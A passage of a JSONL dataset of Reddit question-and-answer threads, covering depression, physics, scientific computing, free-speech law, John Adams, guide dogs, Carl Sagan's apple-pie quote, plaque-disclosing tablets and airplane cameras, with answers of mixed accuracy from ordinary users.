time, he\u2019s not doing well at work, his boss starts remarking on his poor work, even though he\u2019s doing the same amount of work as he did before he started falling into depression. \n\nAlbert doesn\u2019t know he\u2019s depressed and continues on for a few more months. His work gets worse, he\u2019s not getting rewarded for his hard work, he\u2019s constantly getting negative feedback, and then the divorce starts to become a reality because he realizes he hasn\u2019t hugged anyone in over a year let alone have sex since well before the divorce. \n\nHe looks at himself in the mirror and the once chipper Albert he knew from 5 maybe 10 years ago is gone. He starts believing he\u2019s a shadow of his former self. He lost interest in his hobbies, he doesn\u2019t want to join his coworkers on nights out to get drinks, he declines his friends to hang out, and he starts to believe he deserves this. \n\nAlbert continues on because he has to. He has bills, student loans, a mortgage, payments to his divorce lawyer, lost all his family heirlooms because his ex decided to destroy everything that meant something to him. And now, Albert has put some weight on because he doesn\u2019t want to go for walks anymore. He stopped going to the gym even though he\u2019s still paying for his membership. \n\nAlbert starts to smile less. He starts to not care about the way he looks or smells anymore. He can\u2019t explain why he\u2019s crying every night and he begins to feel empty inside, like he\u2019s not able to do anything right because he\u2019s messing up his entire life and he doesn\u2019t know how to stop it. \n\nNow there\u2019s a bunch of research, medications, and paths Albert can take, but he doesn\u2019t know where to start because now fear is taking over and driving him to the ground. \n\nWhat we can learn from Albert is that emptiness doesn\u2019t just happen over night. It\u2019s a succession of little things that seem meaningless in the moment but actually mean a lot to the health of a functioning brain. When social, emotional, career, and hobbies are pushed to the side along with isolation, because Albert doesn\u2019t want to burden his friends, family, or coworkers with his problems, that escalates to emptiness. \n\nLosing touch with friends and family is a huge factor in depression and the feeling of emptiness. There\u2019s the reward center in our brains that tells us \u201cI loved doing such and such with so and so, that was really fun!\u201d Hugging someone and feeling loved is also apart of this. Hugging produces oxytocin and dopamine, which rewards the brain and makes it say \u201cyay! We had a meaningful exchange with someone! That felt great!\u201d Not having those things makes someone feel empty and like a shadow of who they used to be. \n\nThis is just one of so many examples of how emptiness during a depressive episode manifests. \n\nAlbert tried his best despite his circumstances and he didn\u2019t reach out because he was scared of the stigma around mental health issues. He didn\u2019t want to be judged and therefore didn\u2019t know he needed help getting back in touch with the Albert of 5-10 years ago. \n\nThe moral here is that when things start to feel heavy, when they start building up and it feels like everything\u2019s crumbling around you, when you feel like you\u2019ll be a burden if you share your story of what\u2019s happening in your life, you\u2019ll feel that emptiness because you\u2019ve lost connection to yourself and others, along with the daily stressors of life. When this happens, this is when you need to reach out and ask for help. Therapy is so important in healing and getting back in touch with your life. \n\nI highly recommend DBT or CBT in both group and individual sessions. It rewires the brain and gives tools on how to handle life circumstances. EMDR is amazing for people who have PTSD and there\u2019s new research for CPT for PTSD as well. \n\nIf anyone who reads this and needs to reach out and talk about their issues, please DM me. I know what it\u2019s like to feel hopeless and empty. Share your story with me and if I can help point you in the right direction, it would make me so happy to lift you up. \n\nAll my love to everyone who suffers with depression  < 3", "If you have a swimming pool, the largest way to keep it clean is to have the right balance of chemicals in it.  For any reason, if that balance of chemicals gets off the whole pool could turn green and get all cloudy. \nThink of the brain like that, if the chemical balance is off, it could cease act correctly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7444cg", "title": "Why doesn't electromagnetism violate parity conservation?", "selftext": "The Wu experiment demonstrated that the weak force violated parity conservation because the [direction of emission of electrons from cobalt atoms changed when an electrical coil around them was mirrored](_URL_1_). But doesn't the same effect happen when you remove the cobalt and just look at the magnetic field produced by the coils? [The magnetic field changes from pointing up to pointing down (or vice versa) when the coil's direction is changed](_URL_0_), so the mirror image changes more than just the reflected coordinate.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7444cg/why_doesnt_electromagnetism_violate_parity/", "answers": {"a_id": ["dnvfm7m"], "score": [37], "text": ["Magnetic fields are axial vectors; they don't change under the parity operation.\n\nIf you look at the [electromagnetic Lagrangian](_URL_0_) (the classical one or the quantum one), it's invariant under parity.\n\nIf you look at the Lagrangian for the weak force, it has a part which violates parity.\n\nAs for \"why\" these are true, that's just an observed fact of nature."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/File:BIsAPseudovector.svg", "https://en.m.wikipedia.org/wiki/File:Wu_experiment.jpg"], "answers_urls": [["https://quantummechanics.ucsd.edu/ph130a/130_notes/img3852.png"]]}
{"q_id": "27ka6c", "title": "Are large scientific simulations written in low-level languages?", "selftext": "I ask because I think that programming in low-level, optimizing the code for the specific hardware and managing system resources manually seems only logical for such intense tasks. \n\nEdit: I'm talking about Machine Code/Assembly code.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27ka6c/are_large_scientific_simulations_written_in/", "answers": {"a_id": ["ci1oewx", "ci1og87", "ci1oizc", "ci1q69n", "ci1r8cl", "ci1wfp2", "ci1yb7r", "ci23spn"], "score": [20, 12, 3, 3, 53, 3, 2, 2], "text": ["Usually not. That would make them hard to develop and maintain. Keep in mind that scientist who write these are not computer scientists or programmers. supercomputers they use usually provide optimized versions of scientific libraries, (linear algebra, fft, etc.) that are commonly used. still, it is common that performance can be significantly improved by careful refactoring of the code.  ", "How low level are you talking? In my field (molecular dynamics), the big codes are written in C/C++. Older projects used FORTRAN. \n\nI know the GROMACS team have put a lot of effort into using SIMD instructions as well.", "Part of this depends on what you mean by large. If you're talking about scaling across many thousands of processors, then there is a good chance the program was written in C or Fortran. This is more likely because they will utilize some form of MPI. There are various MPI(Message Passing Interface) libraries available. OpenMPI is written around using C or Fortran programs. Intel MPI supports C, C++, and Fortran. \n\nNot all programs utilize MPI, but many do. To learn more about MPI, LLNL has a nice link about the idea.[Link](_URL_0_)\n\n\nThese languages are used partly due to portability, partly due to ease of use(mostly historical at this point), partly because of performance characteristics, and partly because its what has always been used. Being the incumbent languages is helpful for maintaining momentum of use.\n\nSmaller programs that don't need to scale across networks can be written in many languages like R, Python, Perl, Haskell, Lisp, Scala, etc.\n\nSome of these previously mentioned programs also have distributed/grid based computing wrappers to allow MPI like behavior. \n\nI'm sure others will have more in-depth answers, as I'm not a programmer.\n\nSource: I am an HPC cluster administrator. I support multiple MPI based applications that are written in C, C++, and Fortran.", "Usually in C and Fortran.  Code is usually optimized for parallel computing, but spending a lot of time coding for efficiency isn't done.  The time spent doing so could be spent working on more research, and why spend 6 months optimizing if in 6 months computers will be faster anyways?  Using a fast language like C or Fortran, and parallelization, are low hanging fruit.  So it's done.  Other efforts?  Usually not. Depends on application and project size, however.", "Good question, this is right in my expertise wheelhouse.\n\n > Machine Code/Assembly level\n\nEssentially never, outside of very niche projects. I'm actually not aware of *any* significant use of such things in HPC. The vast majority of high performance (HPC) computational science simulation codes are written in C, C++, and Fortran, and things like CUDA/OpenCL on GPUs. There's lots of reasons assembly isn't used.\n\n > I ask because I think that programming in low-level, optimizing the code for the specific hardware and managing system resources manually seems only logical for such intense tasks.\n\n* Scientific software can be rather complex. As an example from my work, I typically run on somewhere between 10 to 1000 CPU cores, but similar work scales as large as the largest HPC resources available. The codes I write typically consist of around 10,000 to 100,000 lines of C++. This means the software itself is really pretty damn complex, and managing that level of software complexity is extraordinarily difficult, meaning that doing it in assembly is a pretty crazy undertaking. Making sure everything works is difficult in high level code, let alone assembly.\n\n* Raw optimal performance in terms of code efficiency almost always is less important than algorithmic performance. I can write a better algorithm in python that solves a problem faster than the most efficient assembly code that's using a worse algorithm.\n\n* I'm a scientist by trade and education, but only a software engineer by necessity. You're operating under the assumption that people like me could actually write assembly code that is more efficient than what an optimizing compiler can produce from higher level code. It's highly unlikely that I would actually produce faster code using assembly than my compiler produces, while also being able to accomplish all the complex tasks it needs to. It's also highly unlikely I can write resource management utilities for thousands of nodes that is superior to what is available, and even less likely that I can craft the network communication routines necessary for parallel computing.\n\n* I should add that it is very common to use libraries for computationally-intensive tasks such as linear algebra, and these libraries have been optimized by vendors using low level code (see Intel MKL, for example). But for computational scientists, these things are basically black boxes.", "In my physics department, particle physicists tend to use lots of C++ (the most important package, ROOT is C++) while astronomers use python. Experimentalists use LabVIEW a lot while some theorists use Mathematica to do stuff. Fortran is still used quite a lot by people who specialise in HPC.", "Everyone in the Simulation Physics office at my school writes their programs in C or C++.  There's the occasional madman who uses Fortran still in the 21st century.  People in my department usually do massively parallel jobs, calculating protein folding, star formation from gas clouds, or spin molecular dynamics.\n\nI don't know if this is typical or not, but I am under the impression that most computational physicists, if not still using Fortran, are using C, and the younger generation has started bringing in C++.  That's how it's worked in the departments I've been in, anyway.  Your mileage may vary on whether these are high level or not.", "Compilers today are better at generating the machine code than humans. There might be situations where a human can generate a marginally more efficient code than a compiler, but this improvement in efficiency is usually not worth the hours spent looking at the generated Assembly code looking for potential improvements (and certainly not worth the wage of someone good enough to improve on the generated code)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://computing.llnl.gov/tutorials/mpi/"], [], [], [], [], []]}
{"q_id": "2962fc", "title": "how can the supreme court declare a no-protest zone in front of their court, but for everywhere else a no-protest zone is unconstitutional?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2962fc/eli5_how_can_the_supreme_court_declare_a/", "answers": {"a_id": ["cihrrnl", "cihtufn", "cihu0ut", "cihu7oz", "cihusbj", "cihvfpx", "cihvl7v", "cihwco2", "cihy1eu", "cii0baw", "cii2kud", "cii37xa", "cii3jjn", "cii4g3x", "cii5bly", "cii5k9d", "cii7vzm", "cii7wdk", "cii87s8", "cii8g0o", "cii8nv7", "cii8xq0", "cii92bl", "cii933e", "cii97f1", "cii9aez", "cii9v4z", "cii9w4x", "cii9wdg", "ciiaj4v", "ciiarw3", "ciiatj3"], "score": [78, 1624, 4, 2, 64, 3, 14, 33, 16, 3, 18, 2, 2, 2, 6, 3, 12, 3, 2, 2, 2, 2, 2, 2, 2, 2, 4, 3, 3, 2, 2, 3], "text": ["No-protest zones have been used before. President Bush designated the areas directly around some of his speeches as no-protest zones.\n\nGenerally, when the need for security overrides the need for freedom of speech, a no-protest zone can be established. It has zero backing under the Constitution, and flies contrary to the stated objectives in the Bill of Rights. \n\nBut, government says it can do that, government can do that. That's as simple as it is.\n\nEDIT: That's not to say President Bush's use of no-protest zones is the only precedent for this. He's merely the only one that came to mind. ", "There are things known as \"time, place, and manner\" restrictions on free speech. Basically, you can say *what* you want, but not necessarily where, when, and how you want. If I want to give a speech criticizing the Supreme Court, I can. I can't do that at 3 AM with a bullhorn in a quiet neighborhood, though. I can't do that on a military base. I can't do that in the middle of the street with a huge banner that blocks traffic.\n\nBasically, the Supreme Court ruled that a blanket restriction on protests near clinics is not constitutional. However, that doesn't necessarily mean (if my understanding of the ruling is correct) that abortion clinics can't have buffer zones. Let's say a particular clinic suspects that it will be the target of harassment. They can petition the police for protection and ask protesters to get a permit for a space a certain distance away. There won't be a permanent buffer, but there may be one on a temporary basis.\n\nNote that I am not a lawyer, so take none of the above as legal advice.", "I know this isn't a particularly satisfying answer... However the law has always put in place special protections for court facilities.  The argument is basically that for anyone to have any rights at all the court has to be able to conduct its business in an orderly manner.  The court also recognizes certain other physical locations where ordinary constitutional protections take second fiddle to national interests (i.e. at the border, airport security checkpoints, and presumably security checkpoints at military bases).  \n\nThere are other special cases as well.  For example if you tell your lawyer you plan on smuggling a weapon into a courthouse the lawyer may have no option but to report that to the police and you might not have any confidentiality protections.", "Once again, all the answers here are wrong. \n\nThe First Amendment allows you an absolute right to protest on your own property.  You can protest on government property too, but subject to reasonable restrictions.  Which makes sense - it would be stupid to let people walk into the President's bedroom or in a place with top secret nukes, etc...  The government can restrict speech on its property, but it just has to be fair about it.  For example, the government can ban all protests in an area, but it can't just ban Muslims from protesting but let Christians do it. ", "Where are you getting this? I don't think that they found no-protest zones to be unconstitutional in general. They did, however, find that in the case you are probably referring to that the state of Massachusetts did not exhaust less restrictive means of curbing the social ail it was addressing. They did not ban no-protest zones. ", "An effective judiciary must be unequivocally independent; as it is the legislative branch of the legal system's task to care make sure law fits the view of the public, while it is the purpose of the courts to resolve disputes that occur around certain aspects of the law. A independent judiciary is essential in protecting individuals from a government's persecution, as their independence means that they execute the law purely by the objective facts presented to them and these details relevance to the law that has been perceived to have been broken.\n\n Part of the judiciary includes a jury, an inconsistent body of easily influenced people, who must come to a verdict solely on the facts. However these sentient decision-makers may be influenced by the media and vocal supporters of a certain decision. Therefore the proximity of these individuals near the jury can have profound effects on the juries logical as well as fact-based thinking - thus it needs to be prevented. \n\nThe need for an independent judiciary was subversively explored in the most important text in western political thought, Aristotle's 'politics'. Then later explicitly discussed in Montesquieu's 'spirit of laws'. The latter called his theory the separation of powers in his book published 40 years before the proclamation of the American constitution. He and this text undoubtedly influenced the American constitution as he was a key facet in the french enlightenment, whose democratic and libertarian values in congruity with their contemporary autocratic government's hatred of Great Britain led to the invaluable support of the French to the Americans in the American civil war.", "The short answer is: it's perfectly constitutional to establish a no-protest zone anywhere.\n\nFirst of all, keep in mind that what the Supreme Court says is constitutional is constitutional. We might not always agree with their decisions, but that's how the US government is designed.\n\nThe Supreme Court has historically interpreted freedoms like freedom of speech as \"freedom of speech for all lawful purposes.\" I know you will say \"but that clause isn't in the First Amendment,\" and of course you're right. But you have to interpret the amendment within the context of the whole document.\n\nThe first sentence of the Constitution states that the government's function is to:\n\n >  establish Justice, insure domestic Tranquility, provide for the common defence, promote the general Welfare, and secure the Blessings of Liberty to ourselves and our Posterity\n\nThis could therefore be interpreted to mean that the freedom of speech is subject to the government's right to insure domestic tranquility, which would therefore make it legal to prohibit protests that present a clear public danger.", "Well, if you think about it, anything that interferes with the members of the Supreme Court getting to their duties would be an obstruction of Justice. ", "The Supreme Court's buffer zone may in fact be unconstitutional.  But we'll have to wait for someone to challenge it in court before we know for sure:\n\n_URL_0_", "Because the buffer around the courthouse does not reach the public street. its set way, way back from the street. you can still stand on the sidewalk in front of scotus and hand out your bills or whatever. \n\nbut that headline does wright itself \"Supreme court rules against no protest buffer zone from behind it's no protest buffer zone\". ", "Because:\n\n\"The Supreme Court is not the final word because they're right; they're right because they're the final word\".", "If that puzzles you, look up \"constitution-free zone\".", "This is the most basic way to think of how the court thinks of free speech: the first amendment is so important to democracy that any limitations on it have to be as narrowly tailored as possible and have to be for a really good reason. Here, the court figured that the buffer wasn't a narrow enough solution to protect clinics and patients, since most of the time they're in no danger. So, they ruled that the societal benefits of free speech for protesters outweighed the clinic's justification to limit it.\nSource: Just graduated with a political science degree, read lots of boring case law", "They decide what's constitutional.", "Wasn't there a ruling not to long back where the Justices, or maybe it was a different federal court district area, that said the Walmart Protesters had to be off the property of Walmart, and couldn't even be on the side walks but some distance away, like a street away?  I remember the OWS protesters being arrested for being too close to buildings and such.  It just seems that the SC cherry picks when it wants and how it wants to control people.  I hope that the clinics (at least the ones that are left standing) start arresting people for trespassing.  Maybe they need to enact a buffer zone of say 15-16 ft.", "The same reason that a 100-mile wide 'constitution-free' zone exists around the borders of the country; Because they can. _URL_0_", "How can the Supreme Court declare anything? There are hundreds of replies with more or less the correct answer. \n\nAre you interested in the argument as to *why* the Supreme Court has ruled like this? If so: \n\nIn a word, Neutrality.\n\nThe Supreme Court (the building included) is a symbol. It is a symbol for the justice system. It is a symbol for due process. It is a symbol of the Constitution of the United States. It is also impartial. Its impartiality is so vital to upholding the Constitution that the Supreme Court has decided that there should not be any outside interference with the way it does things. You shouldn't be able to pay off, shout down, intimidate or otherwise influence a Supreme Court Justice. They aren't at the whim of the popular public opinion or anyone else's for that matter, nor should they be. They review cases solemnly and seriously with their own conscience. Presidents are supposed to appoint very wise people who know law and are prepared for one of the most important jobs in the United States and Congress is supposed to vet them. If we want a say in what the Supreme Court does, vote for the offices that pick SCOTUS justices. \n\nBy the way, they also write out why they elect to rule a certain way in grave detail. Try reading an opinion sometime if you want to understand the logic of a decision. ", "Hello little billy. Now that you're 5 years old you should know that the government is controlled by the rich. This is called \"plutocracy\", and those plutocrats do whatever the Fuck they want, especially things that keep the rich in control. Sorry I said the F word, don't tell your mother.", "its America. where rules are only for the ones who don't make them...", "Because US government.", "There's two big reasons\n\n1. If people were allowed to protest in front of the supreme court then the supreme court argues it impedes their ability to do their jobs.\n\n2. The buffer zones that were found unconstitutional only banned one side (i.e. the anti-abortion side) while still allowing people who were for abortion to be supporters to the people going inside. The difference between this and the supreme court buffer zone is that the supreme court's zone is a neutral buffer zone; meaning that no side can protest on any issue. It isn't being discriminatory. ", "What some people seem to be missing is that the poster is referring to their ruling today where they explicitly declared no-protest zones unconstitutional in front of abortion clinics.", "All people are equal but some are more equal than others.", "Oh there was an earlier post about that... Hmm here you go. Relevant _URL_0_", "There's some nuances to the law, but for the most part it's because our SC is complete shit and have been since the 90s.\n\nSome of the worst, most hypocritical, partisan, biased, outright *wrong* justices the Supreme Court has ever seen are actively sitting judges right now.", "you are sheep and being ruled by wolves. go back to the barn and shut the fuck up.", "Its called Fascism, plain and simple, they are in fact the most powerful part of the U.S. govt. They \"interpret\" the law, which was written in plain English, to their own benefit.", "I cant remember the exact number but you cant protest near the president. ", "Because as long as we have rulers (~governments), \"freedom of speech\" is just an illusion, and will always be restricted whenever it's inconvenient for the rulers.\n\nIn a nutshell, your speech is restricted whenever it presents a threat to someone's (political) power. For example, the North-Korean government restricts speech pretty fucking hard, because they need to exert a lot of pressure on the population to maintain the current situation there. \n\nThe US government restricts speech less, but they're in a different situation. It's important to realize that both are governments, and both represent fundamentally the exact same arrangement: Rulers vs Subjects.\n\n", "Simply because they define what is and isn't constitutional and self interest is a thing", "Because at the end of the day, not even one of the supreme court justices has to have any accountability for anything. ", "They didn't declare a no protest zone unconstitutional, they said that 35 feet was excessive since the abortion clinic didn't show that they had attempted to use more reasonable methods to no avail. The normal buffer zone for abortion clinics (The zone still totally allowed by the way) is 9 feet. 9 feet away from the door allows people to go into the abortion clinic while still allowing the protesters to express their first amendment rights. \n\nThe Boston clinic's 35 foot rule would extend through the walk way across the street and past the sidewalk on the other side of the road. The supreme court found that to be too much restriction of public area.\n\nNow if the Boston clinic could have shown that the 9 ft zone had for some reason failed to successfully protect the people entering, then the courts would have been more receptive to a larger area. \n\nIt's important to remember however, that this in no way renders buffer zones unconstitutional\n\nPerfunctory: None of this constitutes legal advice, it is just a basic analysis of the majority opinion issued in the case"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.vox.com/2014/6/26/5846680/how-can-the-supreme-court-have-a-protest-buffer-zone-if-abortion"], [], [], [], [], [], [], ["https://www.aclu.org/national-security_technology-and-liberty/are-you-living-constitution-free-zone"], [], [], [], [], [], [], [], ["http://i.imgur.com/lv5R2GP.jpg"], [], [], [], [], [], [], [], []]}
{"q_id": "2rk9ad", "title": "The British soldiers convicted in the Boston Massacre of 1770 were defended in court by John Adams, a future president. Was his loyalty to the Revolutionary cause ever questioned for this?", "selftext": "John Adams defended eight British soldiers involved in the Boston massacre, of which only two were ultimately convicted. In the proceedings he referred to the mob (full of the future revolutionary elements he would later rely on) as:\n\n >  a motley rabble of saucy boys, negroes, and molattoes, Irish teagues and outlandish jack tarrs [i.e. sailors]. \n\nHe later validated his defense of the soldiers as a blind understanding of their natural liberties: \n\n > The Part I took in Defence of Cptn. Preston and the Soldiers, procured me Anxiety, and Obloquy enough. It was, however, one of the most gallant, generous, manly and disinterested Actions of my whole Life, and one of the best Pieces of Service I ever rendered my Country.\n\nI have two questions from this: (1) was his stated rationale as pure as he would have us believe, and (2) did it alienate his fellow revolutionaries? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2rk9ad/the_british_soldiers_convicted_in_the_boston/", "answers": {"a_id": ["cngxzjk"], "score": [68], "text": ["Yes; and sort of. David McCullough does a good job reviewing this incident in his biography *John Adams*, which I recommend reading if you're interested in Adams.  \n\nJohn Adams was emphatically devoted to justice and the law, and would have believed the soldiers deserved a fair trial - this sentiment is borne out in his many, many letters and writings throughout the years, so his stated rationale for defending the soldiers is not hard to believe. It also wasn't his sentiment alone - the whole point of the trials were to be as fair as possible to give the British govt. no cause to retaliate should the soldiers be found guilty.  \n\nAs I recall Adams did indeed suffer a blow to his public esteem when he accepted the appointment (which tore at him, as he was intensely concerned with others' opinion of him), though by the end of the trial he had more than recovered. Basically, people were quite impressed with how well he had done his job, despite having defended British soldiers accused of murder, and the passion and logic with which he argued their case. Adams was actually elected to the state legislature a few months after the trials ended, so clearly he was well-respected after the fact.  \n\nEdit: Realized you asked about opinions of Adams as a Revolutionary, and not explicitly his status as an attorney in MA during the trials. As far as I know, no, he wasn't doubted as a revolutionary due to his defense of the British soldiers. He was generally seen as one of the more passionate supporters of the Revolution, particularly in Congress, and was one of the driving forces behind the movement to formally declare independence from England. Even some of his political enemies (other members of Congress, their names escape me), would sometimes recall that despite a disagreement or other character flaws they saw in him, they found Adams ultimately to be a true patriot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35586s", "title": "how do they train seeing eye dogs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35586s/eli5_how_do_they_train_seeing_eye_dogs/", "answers": {"a_id": ["cr155su", "cr1811n"], "score": [10, 12], "text": ["What seeing eye dogs do is pretty simple and natural. They avoid obstacles mostly. Training starts at age 1 for most suitable puppies. What makes a puppy suitable is not being afraid of noise, being good at basic obidence such as sitting etc. They train things like not playing and getting distracted while wearing the vest. Also after basic training there is training period with the future owner where they see that they're a good match and work well together", "\"Our dogs are trained with positive reinforcement methods that use high value rewards of both food and praise. An abundance of rewards, including physical and verbal affection, builds motivation, confidence and produces a happy working Guide Dog. Positive Reinforcement methods strive to make the young dog successful and prevent them from making errors. In more advanced training, dogs are given the freedom to make errors. Instructors use verbal cues and collar cues to gain the desired response, which is followed by rewards.\"\n\n\n\"The \"training\" of the dog happens almost from birth through our on-campus socialization program. At 6-8 weeks, the pups begin to learn house manners and obedience and they are introduced to the world through our puppy raisers' efforts. At 14-16 months, they begin their formal guide dog training (which takes 2-3 months). They meet their blind partner usually when they are around 1-1/2 years old and the two train together for 2 weeks. But in reality, the training never stops. GDB maintains continuous contact with its graduates and dogs, and continue to help them adjust to all sorts of situations they may face as they go through their lives together, whether the person is moving or working in a new area, facing complex traffic situations, or wanting to learn advanced techniques.\"\n\nI am not claiming credit for any of this.  I just did some research and wanted to give you best answer from that.  Good question.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "gwuv7", "title": "What did Carl Sagan mean when he said, \"If you wish to make an apple pie from scratch you must first invent the universe\"?", "selftext": "_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gwuv7/what_did_carl_sagan_mean_when_he_said_if_you_wish/", "answers": {"a_id": ["c1qvnns", "c1qvrty", "c1qxttj", "c1r7tu0"], "score": [32, 156, 4, 2], "text": ["I understand it as a particular perspective on what \"from scratch\" means. Sort of a reductio ad absurdum, but it's less of an argument and more of an observation. Basically, if you take \"from scratch\" to enough of an extreme you can take it all the way back to the Big Bang. ", "In any creation project, you have to get something from someone else. A pie needs flour. If you want to make your own flour, you'll need wheat, and milling equipment. To get that, you'll need farms and metal, which needs soil and minerals. To truly say you made it, you'd have to make the dirt and minerals. To make iron you'll need a star to form iron out of lighter elements. And to make a star... all the way back to the big bang.", "It ties in nicely with what Carl always said about us being made of 'star stuff'\n\nEvery element in existence (exclusing hydrogen, i think \u2013 someone please correct me if i'm wrong) was created as a result of stellar evolution and the death of stars.\n\nTherefore, to get the constituent elements that make the apples, sugar, flour, water, eggs, whisk, mixing bowl and oven you need the preceding billions of years of stellar evolution.", "It's basically saying that if you wan't to actually create some material \"from scratch\", you need to start off with the birth of the entire universe because you can't create materials otherwise. Only share. After the supposed big bang, all matter was just interaction."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=9JJHC5y_RKE&amp;t=2m34s"], "answers_urls": [[], [], [], []]}
{"q_id": "13xt5q", "title": "When I was a kid the orthodontist gave me tablets that stained my teeth red in \"places where I hadn't brushed properly\", what did they actually do chemically?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13xt5q/when_i_was_a_kid_the_orthodontist_gave_me_tablets/", "answers": {"a_id": ["c78400j", "c78410u", "c789t4h", "c78b6w3", "c8rj5ta"], "score": [14, 20, 2, 6, 2], "text": ["The tablets just contain a dye that bonds to any plaque on your teeth.", "It just [stains](_URL_0_) plaque sticking to your teeth, presumably because plaque is more porous than enamel.", "Never understood that. Can't you just tell if you've brushed properly by running your tongue over your teeth, or is it really minuscule amounts?", "It depends when you were a kid. According to my genetics professor; before the 1980's, these tablets contained [Ethidium bromide](_URL_0_), a dye which inserted itself between DNA base pairs, making it very good at staining biofilm from bacteria ([source](_URL_2_)).  When the mutagenic effect of this dye was realized, this was stopped as a stain for plaque. \n\nNow these days a different stain is used, [Erythrosine](_URL_1_). This [paper](_URL_3_) refers to \"biofilm uptakes the erythrosine\" but makes no proposal to it's mechanism. Nor did my search turn up any other results on this mechanism. It is my guess that this stain works by binding to the cells or biofilm through electrostatic interaction or known as Van der Waals forces. Because this stain cannot adhear to your teeth as well as it does to biofilm, it creates a contrast. ", "I had an orthodontist in Orlando that used to do this as well. I'm not sure how it worked either. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Disclosing_tablet"], [], ["http://en.wikipedia.org/wiki/Ethidium_bromide", "http://en.wikipedia.org/wiki/Erythrosine", "http://jmm.sgmjournals.org/content/59/1/1.full", "http://jac.oxfordjournals.org/content/57/4/680.full.pdf"], ["http://www.baptisteorthodontics.com"]]}
{"q_id": "37xgbr", "title": "why don't airplanes have interior cameras like buses, trains, etc?", "selftext": "I was reading the article about the pregnant woman getting kicked off her flight because her son was being unruly. Her story is completely different from the flight crews. It made me wonder something pretty simple:\n\nWhy don't commercial airlines have interior cameras like you see on buses, trains, subways, etc. Considering all the random events that could happen, seems like it would be a cheap and effective way to know what really happened.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37xgbr/eli5_why_dont_airplanes_have_interior_cameras/", "answers": {"a_id": ["crqlnil", "crqltp0", "crqlxhd", "crqm6bu", "crqmbpd", "crqmr8m", "crqp1dv", "crqs4do", "crquyte", "crqvawo", "crqw39k", "crr6uwf"], "score": [211, 181, 10, 2, 13, 4, 24, 2, 5, 4, 4, 2], "text": ["I think that the cameras on buses and trains are mostly to be used as evidence if someone on the vehicle commits a crime, like theft, and then leaves. No one can leave the airplane mid flight and there is extensive security screening to get onto the plane so it seems sort of pointless. ", "Airlines won't get much from the investment. Even if it's cheap, the events in which this would be useful are probably extremely rare, due to extensive security screening in airports. So even in the times that this does happen, the airlines probably aren't losing that much money from it that it would justify the cost of deploying cameras to the entire fleet.", "My guess would be 1) airline passengers go through security before getting on, and actual crime is virtually non-existent on a plane compared to a bus, and 2) airlines aren't public transportation. If the crew says you're being an ass and kick you off for any reason, that's their right. Cameras wouldn't stop people from complaining, or news stations reporting on the \"controversy\"", "I have first hand knowledge that at least some commercial aircraft do have security cameras and monitoring stations for the in-flight staff.", "Because they have the identity of every single person on a plane and a surveillance system would mean unnecessary weight. Planes doesn't like it heavy. ", "they do.. Well some of them. The A320 (probably all new gen aircraft aswell, I'm just not familiar with Airbus) family can be equipped with cameras on the door. And a screen above the flight deck door. 787, 777, and maybe the 747-8 can have cameras and feed directly to the efb. Many planes do. Just depends on the airline/company buying them. Kind of like buying a car, you can have a fully loaded or just a car with some features.", "First of all, what are you trying to protect/prevent? If it's an argument between the crew and a passenger, why would the airlines invest in something so trivial? Do passengers demand to be recorded? Do you want to board a plane knowing *everything you say and do is being recorded by a private industry* that will likely be abused by police without warrants? I'm pretty sure there's a lack of demand by passengers, the FAA, and the airlines. If it's important, there's a list of passengers and witnesses that can be questioned. Every piece of added hardware costs fuel, is expensive, and requires maintenance, so it needs to be worth the cost and I simply don't see how this is remotely useful.\n\n\nSecond, installing cameras would be neither cheap nor effective.\n\nCameras are not very effective unless they happen to be pointing right at the action, and close enough to see everything and everyone. To effectively document an interaction on any row, you'd essentially have to place cameras on every other row looking each direction. Unlike a bus camera that's mostly interested in people harassing the driver and documenting people entering/leaving, neither of those are necessary for a plane where you have pre-paid tickets, names of passengers, and inability to harass the pilot.\n\nHow about cheap? **Everything to do with commercial airlines is expensive.** Even the seatbelts have to be vetted and undergo testing, despite their only purpose is to cut your body in half in the case of a crash. I've worked on plane hardware (black boxes), and the FAA qualification for commercial flights is utterly stupid.\n\n\n**TL;DR: it's very expensive or very ineffective, has no demand by passengers or airlines, and doesn't solve any problem that needs to be solved.**", "Probably been said, but busses and trains are considered public transportation where planes are very much private businesses. The airlines don't want evidence against their \"official\" statement. ", "Everyone's missing the point. \n\nThe law. \n\nThat's the only real reason. State by state video taping and sound recording laws change. Think of how many states they fly to. \n\nNow think of countries. \n\nThe law. Cost is irrelevant to United and all the others. Your cameras are pocket change. ", "Put simply, bus/train companies have a serious problem with people vandalising, fighting, threatening other passengers or even using buses as toilets or sleeping areas! - cameras are there to deter or at least track down and prosecute offenders.\n\nAirlines have different problems - their customers are screened before and after a flight so they know who they are and they have a crew who's word will always be greater than that of a single offender so the need for footage of incidents is lesser.\n\nSome buses carry over 20 cameras - the majority of which point INWARDS - a plane would need rather more than that to cover every angle - dozens and dozens on a big plane with multiple compartments - and the weight of that stuff would cost a fortune in jet fuel too...", "The basic answer is airlines are cheap as hell, and they would cost a LOT of money.  Anything certified for use on aircraft costs about 10-100x what the same thing would cost for a bus or train.  The airlines don't really care that much about the incidents the cameras would give them information on.  (There's never really an issue as to who caused a disturbance, for example). ", "Some airlines have cameras in 